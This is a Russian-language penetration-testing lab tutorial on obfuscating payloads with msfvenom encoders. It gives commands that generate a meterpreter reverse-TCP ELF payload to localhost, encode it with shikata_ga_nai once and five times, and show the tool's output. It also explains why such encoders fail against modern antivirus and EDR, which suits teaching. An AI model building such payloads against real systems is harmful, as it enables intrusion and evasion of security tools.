Использование кодировщиков для обфускации полезных нагрузок с помощью msfvenom

Kali LinuxBeginner
Практиковаться сейчас

Введение

В области кибербезопасности обфускация полезной нагрузки (payload obfuscation) является критически важным методом, используемым для уклонения от обнаружения программным обеспечением безопасности. msfvenom, мощный инструмент в составе Metasploit Framework, представляет собой автономный генератор полезной нагрузки, который также может использоваться для кодирования полезных нагрузок, изменяя их структуру для обхода обнаружения на основе сигнатур антивирусными (AV) системами.

Кодировщик (encoder) применяет серию преобразований к исходному коду полезной нагрузки, делая его нечитаемым для простых сканеров сигнатур. При выполнении полезной нагрузки сначала запускается небольшой декодирующий фрагмент (decoder stub), который восстанавливает исходную полезную нагрузку в памяти, а затем передает ей управление.

В этой лаборатории вы изучите основы использования кодировщиков msfvenom. Вы начнете с вывода списка доступных кодировщиков, затем выберете популярный для генерации закодированной полезной нагрузки, примените несколько итераций кодирования и, наконец, обсудите эффективность этого метода против современных решений безопасности.

Список доступных кодировщиков с помощью msfvenom --list encoders

На этом этапе вы начнете со списка всех кодировщиков, доступных в msfvenom. Это даст вам обзор различных вариантов обфускации полезных нагрузок.

Сначала вам нужно убедиться, что установлен Metasploit Framework, который включает msfvenom. Выполните следующие команды для обновления списка пакетов и его установки.

sudo apt-get update
sudo apt-get install -y metasploit-framework

После завершения установки вы можете вывести список всех доступных кодировщиков, используя опцию --list encoders с msfvenom. Эта команда отобразит таблицу кодировщиков с их рангом, названием и кратким описанием. Ранг указывает на надежность и эффективность кодировщика, где excellent (отличный) является наивысшим.

Выполните следующую команду в вашем терминале:

msfvenom --list encoders

Вы увидите длинный список доступных кодировщиков. Вывод будет структурирован следующим образом, показывая название, ранг и описание для каждого из них.

Framework Encoders [--list encoders]
====================================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/brace                     low        Bash Brace Expansion Command Encoder
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/sh_char_code              manual     Shell Char Code Substitution Command Encoder
    ...
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    ...
    x64/zutto                     normal     Ruby based x64 encoder

Уделите время, чтобы просмотреть список и увидеть разнообразие кодировщиков, доступных для различных архитектур и целей.

Выбор кодировщика, такого как x86/shikata_ga_nai

На этом этапе вы узнаете об одном из самых известных кодировщиков: x86/shikata_ga_nai. В этом шаге нет команд для выполнения; цель состоит в том, чтобы понять, почему может быть выбран конкретный кодировщик.

Из списка, который вы сгенерировали на предыдущем шаге, вы, вероятно, заметили кодировщик x86/shikata_ga_nai. Он известен по нескольким причинам:

  • Ранг: Он имеет ранг excellent (отличный), что означает высокую надежность и малую вероятность повреждения полезной нагрузки в процессе кодирования.
  • Полиморфизм: Это полиморфный кодировщик. Это означает, что он изменяет свой собственный код дешифрования каждый раз, когда применяется. Теоретически, это значительно затрудняет создание статической сигнатуры для декодирующего фрагмента антивирусным программным обеспечением.
  • Широкое использование: Он был одним из самых популярных и используемых по умолчанию кодировщиков в Metasploit на протяжении многих лет, что делает его классическим примером для изучения обфускации.

Хотя его популярность также привела к тому, что он был сильно отсканирован современными антивирусами (тема, которую мы рассмотрим позже), он остается идеальным примером для демонстрации процесса кодирования. На следующем шаге вы будете использовать этот кодировщик для обфускации полезной нагрузки.

Генерация полезной нагрузки с использованием флага -e для указания кодировщика

На этом этапе вы сгенерируете полезную нагрузку и примените к ней кодировщик x86/shikata_ga_nai. Вы будете использовать флаг -e для указания выбранного кодировщика.

Давайте создадим простую полезную нагрузку Linux reverse TCP. Эта полезная нагрузка попытается подключиться обратно к указанному IP-адресу и порту. Мы закодируем ее и сохраним как ELF (Executable and Linkable Format) файл, который является стандартным бинарным форматом для Linux.

Структура команды выглядит следующим образом: msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>

  • -p: Указывает полезную нагрузку. Мы будем использовать linux/x86/meterpreter/reverse_tcp.
  • LHOST и LPORT: Параметры, требуемые полезной нагрузкой для определения, куда подключаться обратно. В этом примере мы будем использовать 127.0.0.1 (localhost).
  • -e: Указывает кодировщик. Мы будем использовать x86/shikata_ga_nai.
  • -f: Указывает формат вывода. Мы будем использовать elf.
  • >: Перенаправляет вывод в файл.

Теперь выполните следующую команду в вашем терминале, чтобы сгенерировать закодированную полезную нагрузку и сохранить ее как encoded_payload.elf:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf

msfvenom обработает запрос и покажет вам некоторую информацию о сгенерированной полезной нагрузке, включая ее окончательный размер.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes

Теперь вы успешно создали файл закодированной полезной нагрузки с именем encoded_payload.elf в вашей текущей директории (~/project). Вы можете проверить его создание с помощью команды ls -l.

ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf

Использование флага -i для применения нескольких итераций кодирования

На этом этапе вы узнаете, как применять кодировщик несколько раз к одной и той же полезной нагрузке с помощью флага -i для итераций. Теория заключается в том, что многократные слои кодирования сделают полезную нагрузку еще более трудной для обнаружения.

Хотя это звучит эффективно, у этого есть свои недостатки. Каждая итерация кодирования добавляет новый декодирующий фрагмент (decoder stub), что увеличивает общий размер полезной нагрузки. Кроме того, это иногда может создавать повторяющийся шаблон, который может обнаружить программное обеспечение безопасности.

Давайте применим кодировщик x86/shikata_ga_nai 5 раз к той же полезной нагрузке. Мы сохраним эту новую полезную нагрузку как multi_encoded_payload.elf, чтобы сравнить ее с предыдущей.

Используйте следующую команду, добавив флаг -i 5:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf

msfvenom теперь применит кодировщик пять раз. Обратите внимание на вывод, который показывает каждую итерацию.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes

Теперь используйте ls -l, чтобы сравнить размеры файлов одинарно закодированной и многократно закодированной полезных нагрузок.

ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf

Как вы можете видеть, multi_encoded_payload.elf значительно больше, чем encoded_payload.elf, из-за повторного процесса кодирования.

Обсуждение эффективности кодировщиков против современных антивирусов

На этом заключительном этапе мы обсудим реальную эффективность базовых кодировщиков, таких как x86/shikata_ga_nai. Этот этап является чисто концептуальным, и никаких команд для выполнения нет.

Хотя кодировщики когда-то были высокоэффективным методом обхода антивирусов, их эффективность значительно снизилась против современных решений безопасности, таких как антивирусы следующего поколения (NGAV) и системы обнаружения и реагирования на конечных точках (EDR). Вот почему:

  1. Сигнатура декодера: Поставщики решений безопасности знают, как работают популярные кодировщики. Декодирующий фрагмент (decoder stub) для shikata_ga_nai сам по себе является известной сигнатурой. Многие антивирусные продукты помечают файл просто потому, что он содержит этот декодер, независимо от того, какую полезную нагрузку он пытается декодировать. Применение большего количества итераций (флаг -i) часто делает эту сигнатуру еще более очевидной.

  2. Эвристический и поведенческий анализ: Современные антивирусы полагаются не только на статические сигнатуры. Они используют эвристику для выявления подозрительных характеристик (например, небольшая программа, пытающаяся выделить исполняемую память) и поведенческий анализ для мониторинга того, что программа делает во время выполнения. Закодированная полезная нагрузка, которая декодирует себя в памяти, а затем пытается открыть обратный шелл (reverse shell), является крайне подозрительным поведением, которое легко обнаруживается.

  3. Песочницы (Sandboxing) и эмуляция: Многие продукты безопасности могут выполнять подозрительный файл в безопасной виртуальной среде (песочнице) для наблюдения за его поведением перед запуском на реальной системе. В песочнице антивирус может позволить полезной нагрузке декодировать себя, а затем проанализировать исходный вредоносный код.

В заключение, хотя понимание кодировщиков msfvenom является фундаментальным навыком, полагаться исключительно на них для обфускации не является жизнеспособной стратегией в современных условиях. Продвинутое уклонение требует более сложных методов, таких как создание пользовательских кодировщиков, использование упаковщиков (packers) и криптеров (crypters), а также применение методов, которые специально нацелены на обход движков поведенческого обнаружения.

Резюме

В этой лабораторной работе вы изучили основы обфускации полезных нагрузок (payload obfuscation) с использованием кодировщиков msfvenom.

Вы узнали, как:

  • Просмотреть все доступные кодировщики с помощью команды msfvenom --list encoders.
  • Выбрать и понять назначение популярного полиморфного кодировщика, такого как x86/shikata_ga_nai.
  • Сгенерировать закодированную полезную нагрузку с помощью флага -e.
  • Применять несколько итераций кодирования с помощью флага -i и наблюдать за влиянием на размер файла.
  • Понимать ограничения базовых кодировщиков против современных решений антивирусной защиты и EDR.

Эти знания обеспечивают прочную основу для понимания генерации полезных нагрузок и игры в кошки-мышки между обнаружением вредоносного ПО и уклонением от него. Методы, которые вы практиковали, являются отправной точкой для изучения более продвинутых методов обфускации, используемых в профессиональном тестировании на проникновение.